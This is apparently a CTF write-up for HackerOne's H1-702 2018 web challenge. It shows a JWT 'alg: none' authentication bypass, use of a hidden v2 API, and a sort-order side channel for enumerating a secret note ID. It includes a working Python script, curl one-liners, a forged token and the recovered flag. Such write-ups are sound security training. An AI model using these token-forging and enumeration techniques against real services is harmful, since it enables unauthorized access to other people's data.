Introduction() Link to heading
My last two weeks being occupied began with this simple tweet from Jobert Abma.
“Hackers, we’ve built a mobile and a web CTF that gets you a trip to #h1702 during DEF CON in Las Vegas! If you’re up for a challenge, check out https://h1-702-2018.h1ctf.com/ . Best write-ups win! A new CTF. Sick! Let’s get started…
Start() Link to heading
After signing up, we receive the challenge. The challenge concludes a web interface at http://159.203.178.9/.
► curl http://159.203.178.9/ | sed -n “//,/</body>/p”
Welcome to HackerOne's H1-702 2018 Capture The Flag event. Somewhere on this server, a service can be found that allows a user to securely stores notes. In one of the notes, a flag is hidden. The goal is to obtain the flag.
Good luck, you might need it.
Alright, so there is a notes RPC somewhere located on this server.
Dirbuster() Link to heading
The first step which I performed, was scanning for directories and files. I used dirbuster in combination with big.txt, to bruteforce directories and files. Dirbuster is an old unmaintained project, that has been forked by the OWASP team, and comes by default on Kali Linux. I used it rather then other tools like Wfuzz, because it just does what it needs to do, and it is already preinstalled. after running it for a minute, a readme.html file pops up in the root.
Readme() Link to heading
It seems like it is some documentation for a webservice. The webservice is located at “/rpc.php”, and requires an Accept and Authorization header. Upon reading the readme, you can see that the endpoint can create, get and reset notes, as well as return metadata about your notes. All the posts are being made in json format, as well as the responses.
Lets first start with creating the requests in Burp Suite.
The response of the above request is:
HTTP/1.1 201 Created
Date: Fri, 22 Jun 2018 01:33:70 GMT
Server: Apache/2.4.18 (Ubuntu)
Content-Length: 70
Content-Type: application/json
{"url":"\/rpc.php?method=getNote&id=c3RyZWFhaw"}
When we GET the url given in the response, we receive:
{"note":"This is my note","epoch":"1529707528"}
(The epoch is a datetime of when the note was created)
So we successfully created a note. Lets try to test the metadata endpoint now. Request:
GET /rpc.php?method=getNotesMetadata HTTP/1.1
response:
{"count":1,"epochs":["1529707528"]}
It looks like the metadata endpoint returns an array of all the epochs of your notes, together with a count.
Now the only method we haven’t had yet is the ‘resetNotes’ one. Lets try that one out as well. Request:
POST /rpc.php?method=resetNotes HTTP/1.1
Response:
{"reset":true}
After this, when we repeat the metadata request, we get an empty array. So that confirms that the reset was successful. Now that we have checked every method and option, we can start to look for vulnerabilities. Lets start by trying to find something in the create method…
Looking at the documentation, you are only allowed to use letters, numbers and a dot in the note itself. You can manually send an ID for the note, with the request. This ID is also checked by a regex which only allows letters and numbers. I didn’t find anything about the max length of the request, nor the ID, so I tried sending a request with a really long note and ID, hoping for some type of overflow. Unfortunately, this resulted in nothing so I moved on. What are my other options? I can try to brute-force other methods in the ‘method’ parameter, but I don’t think this CTF requires brute-forcing to solve it. Lets try to change some other things. I starting with replacing
GET /rpc.php?method=getNote&id=d4ac962fb8c300ea0ffe0eaba08f7ad0 HTTP/1.1
with the following request
GET /rpc.php?method=getFlag&id=d4ac962fb8c300ea0ffe0eaba08f7ad0 HTTP/1.1
response:
{"method":"not found"}
Damn it. Why isn’t it just this easy? I also tried some other things like SQLI in the ‘id’ parameter, but these tries also resulted in nothing.
Json_web_token() Link to heading
My next guess was it had something to do with the Authorization header. The authorization header contains a JWT(Json Web Token) which is build up by [Header].[Payload].[Signature]. The header and the payload are base64 encoded for
{“typ”:”JWT”,”alg”:”HS256″}” and “{“id”:2}
In our case, the payload contains an ID field with the value of ‘2’. Changing this ‘2’ into a ‘1’ will result in 401 Unauthorized, since the signature doesn’t match the header and payload anymore. To create the signature you have to take the encoded header, the encoded payload, a secret and the algorithm specified in the header, and sign that. For example if you want to use the HMAC SHA256 algorithm, the signature will be created in the following way:
HMACSHA256(
base64UrlEncode(header) + "." + #So to Bayotop
base64UrlEncode(payload),
secret)
I tried to brute-force the secret with a self made python script, and with https://github.com/lmammino/jwt-cracker. After around 60M tries I gave up. (Note that I did not make 60M requests. The brute-forcing is done by signing it with a new secret each time and comparing the signature. This all happens locally)
After googling a bit, I stumbled upon a really interesting article by Tim McLean. https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries/ This article says that some libraries might not check the signature if the algorithm is set to ‘none’. Well lets try that out, and also just change the ‘ID : 2’ to ‘ID : 1’, just because I’ve got a feeling that might change something.
► base64encode(‘{“typ”:”JWT”,”alg”:”none“}’).base64encode(‘{“id”:1}’).’$old_signature’
eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJpZCI6MX0.t4M7We66pxjMgRNGg1RvOmWT6rLtA8ZwJeNP-S8pVak
request:
GET /rpc.php?method=getNotesMetadata HTTP/1.1
Host: 159.203.178.9
authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJpZCI6MX0.t4M7We66pxjMgRNGg1RvOmWT6rLtA8ZwJeNP-S8pVak
Accept: application/notes.api.v1+json
Content-Length: 2
{}
Response:
{"count":1,"epochs":["1528911533"]}
Jeej! \0/ Looks like we’ve got an authentication bypass.
The epoch refers to GMT: Wednesday, June 13, 2018 5:38:53 PM. At this date, the CTF wasn’t open yet, so this must be the note containing the flag.
Versioning() Link to heading
We have the account where the note is on, and we’ve got the epoch of the note. Lets try some things. Adding a parameter ‘epoch’ to the ‘getNotes’ method resulted in nothing. I have to be more creative…
After a few failed attempts to try some things with the headers and the parameters, and quite some hours has passed, I started inspecting the documentation once more. First I didn’t notice it, but there was one thing we had overlooked. Versioning!
The documentation says something about a v2. Lets change the accept header from
Accept: application/notes.api.v1+json
To
Accept: application/notes.api.v2+json
Nothing changed… But also, no error was thrown. No news is good news right? 😉 When changing the number to anything other than 1 or 2, a 415 Unsupported Media Type is being thrown with `‘{“version”:”is unknown”}’``. So V2 has to be the one.
Next off I tried to guess the ID of the note where the flag should be in.
But after running it for some time, I realized this is probably not the way, and I must be missing another step. (And Jobert gave me a hint XD)
Hidden() Link to heading
The next step took me awhile. In the documentation was a hidden hint.
Cynics look high and low for wisdom – and never find it; The open-minded find it right on their doorstep!
When you view the source of the documentation page you can see it. A hidden hint was right there under the surface.
How could I have not seen this?
Jobert, like usual, is playing with us.
► curl http://159.203.178.9/README.html | sed -n “//p”
<!--
Version 2 is in the making and being tested right now, it includes an optimized file format that
sorts the notes based on their unique key before saving them. This allows them to be queried faster.
Please do NOT use this in production yet!
-->
It was already late, and I couldn’t think clear.
So I went to ride my motorcycle to get some fresh air and think about it. After I returned, I thought I had figured it out.
Enumerate() Link to heading
From the documentation, we know that the ID’s are random generated, 32 chars long strings. Also, when using the v2 API, the notes are sorted based on their unique ID’s. You can see the sorting order by requesting the metadata endpoint.
This way we can enumerate the flag notes ID right? If we build up a 32 chars long ID by going through each char for each position, and then checking if the epoch of the by our created note is the first in the array. For example: If the note with the flag in it has note ID “c”, then we can enumerate that by first starting with creating a note with the the ID “a”. When requesting the ‘getNotesMetadata’ method, you can see that the newly created note’s epoch, is in front of the flag’s epoch, in the array. Next of you reset the notes, and you repeat step 1 with the ID ‘b’. Once the epoch of the newly created note is not the first in the array anymore, then you know that the char before that is the flag. To test this method, I created 3 notes with the ID’s ‘a’, ‘b’ and ‘c’. The epoch of the note with ID ‘b’ was in the middle of three when requesting the metadata. So this confirms that this must be the right way to retrieve the flag’s note. But… The flag’s note is probably 32 chars long, so we need to repeat this for all the 32 chars. hidden_haxor_mlitchfield
Final_steps() Link to heading
Oke, since I’m lazy, not crazy, I wrote a script to do the job.
32 (length(ID)) * 62 (alphabet + uppercase alphabet + 0-9) * 3 (create, reset, metadata) = 5952 requests
I wrote the script in Python. Python is one of my favorite programming languages, because it is cross platform and there are a lot of good resources available for it. If you want to learn python, you can get started here. This is the script:
import requests
header = "eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0"
payload = "eyJpZCI6MX0"
signature = "t4M7We66pxjMgRNGg1RvOmWT6rLtA8ZwJeNP-S8pVak"
jwt = header + "." + payload + "." + signature
s = requests.Session()
s.keep_alive = False
s.headers.update({"Authorization": jwt, "Accept": "application/notes.api.v2+json"})
possible_chars = list("0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz")
possible_chars = possible_chars[::-1]
def getMetadata():
url = "http://159.203.178.9/rpc.php?method=getNotesMetadata"
data = s.get(url).content
return data
def createNote(ID):
#print ID
url = "http://159.203.178.9/rpc.php?method=createNote&id;=" + ID
data = s.post(url, json={"note": "This is my note", "id": ID}).json()
return data
def resetNotes():
url = "http://159.203.178.9/rpc.php?method=resetNotes"
data = s.post(url).json()
flag = ""
for i in range(0, 32):
for c in possible_chars:
resetNotes()
createNote(flag + c)
data = getMetadata()
if not "\"epochs\":[\"1528911533\"" in data:
flag += c
print "flag: " + flag
break
If we run the script we get the following output:
flag: EelHIXsuAw4FXCa9epedzzzzzzzzzzzz
After stripping of the trailing z’s, it seems that the ID was not 32 chars long but instead 20 chars. Lets try to retrieve the long waited for flag 🙂
GET /rpc.php?method=getNote&id;=EelHIXsuAw4FXCa9eped HTTP/1.1
response:
{"note":"is not found"}
And… It didnt work :/ After debugging my code I found the problem.
When trying to create a note with an already excising ID, we get a 400 Bad Request.
So the note is not created right?
This means that the note will not be created, so the latest char of the correct ID will always be one char higher (because we reverse the list at line 14) in the list. (because the right char makes the ID complete and returns a 400)
So we change “
EelHIXsuAw4FXCa9epedto
EelHIXsuAw4FXCa9epee` and make the GET requests:
{“note”:”NzAyLUNURi1GTEFHOiBOUDI2bkRPSTZINUFTZW1BT1c2Zw==”,”epoch”:”1528911533″}
This looks base64 encoded, so lets decode it.
702-CTF-FLAG: NP26nDOI6H5ASemAOW6g
Finally! 3 days, 5 frustrations and 8 redbulls later…
Tweet() Link to heading
Thanks Samuel Erb for the idea! Capturing the flag in tweet format.
a='Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJpZCI6MX0.'
u='http://159.203.178.9/rpc.php?method='
c='Accept: application/notes.api.v2+json'
f=''
for i in {1..20}
do
for x in {{z..a},{Z..A},{9..0}}
do
curl -X POST $u'resetNotes' -H "$c" -H "$a"
curl $u'createNote&id;=' -H "$c" -H "$a" -H "Content-Type: application/json" -d '{"note":"a","id":"'$f$x'"}'
s=`curl $u'getNotesMetadata' -H "$c" -H "$a"`
if [[ $s != *"[\"1528"* || $s != *"\",\""* ]]; then
f+=$x
break
fi
done
done
curl $u'getNote&id;='$f -H "$a" -H "$c" | cut -d '"' -f4 | base64 -d
Well… You are right. that wont fit. But it does fit in 2 tweets 😉 Maybe i can challenge you to try and make it smaller?
If you really want to tweet it, here you go:
a='Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJpZCI6MX0.';u='http://159.203.178.9/rpc.php?method=';c='Accept: application/notes.api.v2+json';f='EelHIXsuAw4FXCa9epee';curl $u'getNote&id;='$f -H "$a" -H "$c" -s|cut -d '"' -f4|base64 -d
The_steps() Link to heading
Paste one of the sample requests from the readme in burp suite. Base64 decode the JWT, and change the ID to 1. Also set the algorithm on ‘none’, and base64 encode it again. Change the API version in the Accept header from v1 to v2. Use the hidden hint in the source of the documentation to enumerate the note ID. Send a GET request to “/rpc.php?method=getNote&id=The_Note_ID” and base64 decode the response note content.
Things_learned() Link to heading
Includes but is not limited to:
- When testing API’s, always try other versions of the API. There might be an old unmaintained version available that is vulnerable to quite some stuff.
- The definition and purpose of a JWT (Json Web Token), and the different types of vulnerabilities it contains.
- Read through the documentation carefully so you don’t miss things. (Like versioning)
- Sorting Unique files/ID’s is not a good idea when you display the sort order to the user, since using the above explained method, you can enumerate the unique ID/file name.
- Sneaky Jobert is always playing with us.
Timeline() Link to heading
- June 18 09:30 PM – I discovered the README.html file.
- June 18 11:00 PM – I found the JWT vulnerability that granted me access to the flag’s note.
- June 18 11:45 PM – I found the v2 API.
- June 20 10:00 PM – I discovered the hidden hint in the documentation.
- June 21 11:00 AM – I created the python script for the note ID enumeration.
- June 21 11:30 AM – I found the flag 🙂